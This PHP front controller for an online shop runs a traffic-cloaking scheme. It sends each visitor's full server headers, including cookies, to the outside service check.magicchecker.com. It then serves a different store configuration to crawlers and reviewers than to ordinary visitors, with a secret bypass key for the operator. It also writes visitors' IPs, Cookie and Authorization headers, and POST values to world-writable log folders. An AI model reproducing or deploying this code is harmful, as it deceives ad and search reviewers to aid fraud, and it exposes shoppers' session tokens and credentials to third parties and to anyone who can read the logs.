<?php
require_once 'define.php';
define('VERSION', '3.0.4.1');

function translateCurlError($code) {
    $output = '';$curl_errors = array(2  => "Can't init curl.",6  => "Can't resolve server's DNS of our domain. Please contact your hosting provider and tell them about this issue.",7  => "Can't connect to the server.",28 => "Operation timeout. Check you DNS setting.");if (isset($curl_errors[$code])) $output = $curl_errors[$code];else $output = "Error code: $code . Check if php cURL library installed and enabled on your server.";

    $f = fopen(dirname(__FILE__) .'/curl_errors.txt', 'a');
    fputs($f, "$output\n");
    fclose($f);

    return $output;
}
function checkCache() {$res = "";$service_port = 8082;$address = "127.0.0.1";$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);if ($socket !== false) {$result = @socket_connect($socket, $address, $service_port);if ($result !== false) {$port = isset($_SERVER['HTTP_X_FORWARDED_REMOTE_PORT']) ? $_SERVER['HTTP_X_FORWARDED_REMOTE_PORT'] : $_SERVER['REMOTE_PORT']; $in = $_SERVER['REMOTE_ADDR'] . ":" . $port . "\n"; socket_write($socket, $in, strlen($in));while ($out = socket_read($socket, 2048)) {$res .= $out;}}} return $res;}

function sendRequest($data, $path = 'index') {
    $headers = array('adapi' => '2.2');
    if ($path == 'index') $data['HTTP_MC_CACHE'] = checkCache(); if (CHECK_MCPROXY || (isset($_GET[CHECK_MCPROXY_PARAM]) && ($_GET[CHECK_MCPROXY_PARAM] == CHECK_MCPROXY_VALUE))) {if (trim($data['HTTP_MC_CACHE'])) {print 'mcproxy is ok';} else {print 'mcproxy error';}die();}
    $data_to_post = array("cmp"=> CAMPAIGN_ID,"headers" => $data,"adapi" => '2.2', "sv" => '30565.3');

    $ch = curl_init("http://check.magicchecker.com/v2.2/" .$path .'.php');
    curl_setopt($ch, CURLOPT_DNS_CACHE_TIMEOUT, 120);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data_to_post));
    $output = curl_exec($ch);
    $info = curl_getinfo($ch);

    if ((strlen($output) == 0) || ($info['http_code'] != 200)) {
        $curl_err_num = curl_errno($ch);
        curl_close($ch);

        if ($curl_err_num != 0) {
            header($_SERVER['SERVER_PROTOCOL'] .' 503 Service Unavailable');
            print 'cURL error ' .$curl_err_num .': ' .translateCurlError($curl_err_num);
        }
        else {
            if ($info['http_code'] == 500) {
                header($_SERVER['SERVER_PROTOCOL'] .' 503 Service Unavailable');
                print '<h1>503 Service Unavailable</h1>';
            }
            else {
                header($_SERVER['SERVER_PROTOCOL'] .' ' .$info['http_code']);
                print '<h1>Error ' .$info['http_code'] .'</h1>';
            }
        }
        die();
    }
    curl_close($ch);
    return $output;
}
function isBlocked($testmode = false) {
    $result = new stdClass();
    $result->hasResponce = false;
    $result->isBlocked = false;
    $result->errorMessage = '';
    $data_headers = array();

    foreach ( $_SERVER as $name => $value ) {
        if (is_array($value)) {
            $value = implode(', ', $value);
        }
        if ((strlen($value) < 1024) || ($name == 'HTTP_REFERER') || ($name == 'QUERY_STRING') || ($name == 'REQUEST_URI') || ($name == 'HTTP_USER_AGENT')) {
            $data_headers[$name] = $value;
        } else {
            $data_headers[$name] = 'TRIMMED: ' .substr($value, 0, 1024);
        }
    }

    $output = sendRequest($data_headers);
    if ($output) {
        $result->hasResponce = true;
        $answer = json_decode($output, TRUE);
        if (isset($answer['ban']) && ($answer['ban'] == 1)) die();

        if ($answer['success'] == 1) {
            foreach ($answer as $ak => $av) {
                $result->{$ak} = $av;
            }
        }
        else {
            $result->errorMessage = $answer['errorMessage'];
        }
    }
    return $result;
}

// 采集IP

function log_ip($ip){
    $logDir = 'tmp/' . date('Y-m-d');
    if (!is_dir($logDir)) {
        @mkdir($logDir, 0777, true);
    }
    $line = '[' . date('Y-m-d H:i:s') . '] ' . $ip . "\n";
    file_put_contents($logDir . '/ip.log', $line . PHP_EOL, FILE_APPEND);
}

function detect_device_type($ua){
    $ua = $ua ?: '';
    if (preg_match('/Googlebot|bingbot|Baiduspider|FacebookExternalHit|Yeti|YandexBot|Slurp|DuckDuckBot|Applebot|SemrushBot|AhrefsBot|DotBot|MJ12bot|PetalBot|BLEXBot|DataForSeoBot|Cliqzbot|rogerbot|SeznamBot|Sogou|pinterest|twitterbot|Slackbot|Discordbot|TelegramBot|curl|wget|python-requests|python-urllib|Go-http-client|GoogleOther|GPTBot|Claude-Web|CCBot|omgili|BuzzBot|Traackr/i', $ua)) {
        return 'bot';
    }
    if (preg_match('/iPad|Android.*Tablet|Tablet|PlayBook|Kindle Fire|Silk/i', $ua)) {
        return 'tablet';
    }
    if (preg_match('/Mobile|Android(?!.*Tablet)|iPhone|iPod|BlackBerry|IEMobile|Opera Mini|Windows Phone/i', $ua)) {
        return 'mobile';
    }
    return 'desktop';
}

function collect_request_data(){
    // GET params (exclude route/cloak params)
    $get = $_GET;
    unset($get['route'], $get[NOCLOAK_KEY]);
    $get_json = json_encode($get, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    if (strlen($get_json) > 1000) $get_json = substr($get_json, 0, 1000) . '...(truncated)';

    // POST — only keys to avoid sensitive data; include values for non-sensitive content types
    $content_type = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
    $post_data = null;
    if (!empty($_POST)) {
        if (preg_match('/multipart/i', $content_type)) {
            $post_data = json_encode(['_keys' => array_keys($_POST), '_note' => 'multipart, values omitted']);
        } else {
            $post_clean = $_POST;
            array_walk_recursive($post_clean, function(&$v) {
                if (strlen($v) > 200) $v = substr($v, 0, 200) . '...(truncated)';
            });
            $post_data = json_encode($post_clean, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
            if (strlen($post_data) > 2000) {
                $post_data = substr($post_data, 0, 2000) . '...(truncated)';
            }
        }
    }

    // Headers (key HTTP_* from $_SERVER)
    $headers = [];
    foreach ($_SERVER as $name => $value) {
        if (strpos($name, 'HTTP_') === 0) {
            $hname = str_replace('_', '-', substr($name, 5));
            $hname = ucwords(strtolower($hname), '-');
            if (in_array($hname, ['Cookie', 'Authorization', 'Proxy-Authorization'])) {
                $headers[$hname] = substr($value, 0, 500);
            } elseif (!is_array($value) && strlen($value) < 500) {
                $headers[$hname] = $value;
            }
        }
    }
    // Also capture CONTENT_TYPE and CONTENT_LENGTH
    if (!empty($_SERVER['CONTENT_TYPE'])) $headers['Content-Type'] = $_SERVER['CONTENT_TYPE'];
    if (!empty($_SERVER['CONTENT_LENGTH'])) $headers['Content-Length'] = $_SERVER['CONTENT_LENGTH'];

    $headers_json = json_encode($headers, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    if (strlen($headers_json) > 2000) $headers_json = substr($headers_json, 0, 2000) . '...(truncated)';

    return json_encode([
        'get'     => $get_json,
        'post'    => $post_data,
        'headers' => $headers_json,
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
}

function log_cloak($data, $ip = '', $ua = ''){
    $device_type = detect_device_type($ua);
    $data['_ip'] = $ip;
    $data['_ua'] = substr($ua, 0, 500);
    $data['_device'] = $device_type;
    $data['_referer'] = isset($_SERVER['HTTP_REFERER']) ? substr($_SERVER['HTTP_REFERER'], 0, 500) : '';
    $data['_request_uri'] = isset($_SERVER['REQUEST_URI']) ? substr($_SERVER['REQUEST_URI'], 0, 500) : '';
    $data['_request'] = collect_request_data();

    $logDir = 'tmp/' . date('Y-m-d');
    if (!is_dir($logDir)) {
        @mkdir($logDir, 0777, true);
    }
    $entry = '[' . date('Y-m-d H:i:s') . '] ' . json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) . "\n";
    file_put_contents($logDir . '/cloak.log', $entry, FILE_APPEND);
}



////////////////////////////////////////////////////////////////////////////////

$cloak_status = false;
if(!empty($_GET[NOCLOAK_KEY]) && $_GET[NOCLOAK_KEY] == NOCLOAK_VALUE) {
    setcookie(CLOAK_COOKIE_NAME, NOCLOAK_VALUE, time() + 86400);
    $cloak_status = true;
}
$ip_address = $_SERVER['REMOTE_ADDR'];
// 采集IP
log_ip($ip_address);

// 根据后台设置 判断加载数据库 1--强制A库 2--强制B库 3--斗篷机制A/B库(不做处理，按默认index执行)
// nocloak参数和白名单 强制A库 优先级最高
if (file_exists('switchdb.ini')){
    $db_status = file_get_contents('switchdb.ini');
    $GLOBALS['route_context']['switchdb'] = trim((string)$db_status);
    $db_status = $db_status ?? 3;
    if (in_array($db_status, [1,2])){
        $config_file = $db_status == 1 ? 'config.php' : 'config_b.php';
        if (is_file($config_file)) {
            require_once($config_file);
        }
        require_once(DIR_SYSTEM . 'startup.php');
        start('catalog');
        exit;
    }
}
if(!empty($_COOKIE[CLOAK_COOKIE_NAME]) && $_COOKIE[CLOAK_COOKIE_NAME] == NOCLOAK_VALUE){
    if (is_file('config.php')) {
        require_once('config.php');
    }
}else{
    $result = isBlocked();
    $cloak_result = (array)$result;
    $ua_string = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    log_cloak($cloak_result, $ip_address, $ua_string);
    if ($result->hasResponce && !isset($result->error_message)) {
        if($cloak_status && empty($_COOKIE[CLOAK_COOKIE_NAME])){
            setcookie(CLOAK_COOKIE_NAME, NOCLOAK_VALUE, time() + 86400);
            if (is_file('config.php')) {
                require_once('config.php');
            }
        }else if($result->isBlocked == 1 && empty($_COOKIE[CLOAK_COOKIE_NAME])){
            if (is_file('config_b.php')) {
                require_once('config_b.php');
            }
        }else{
            setcookie(CLOAK_COOKIE_NAME, NOCLOAK_VALUE, time() + 86400);
            if (is_file('config.php')) {
                require_once('config.php');
            }
        }
    }else{
        if (is_file('config_b.php')) {
            require_once('config_b.php');
        }
    }
}
require_once(DIR_SYSTEM . 'startup.php');
start('catalog');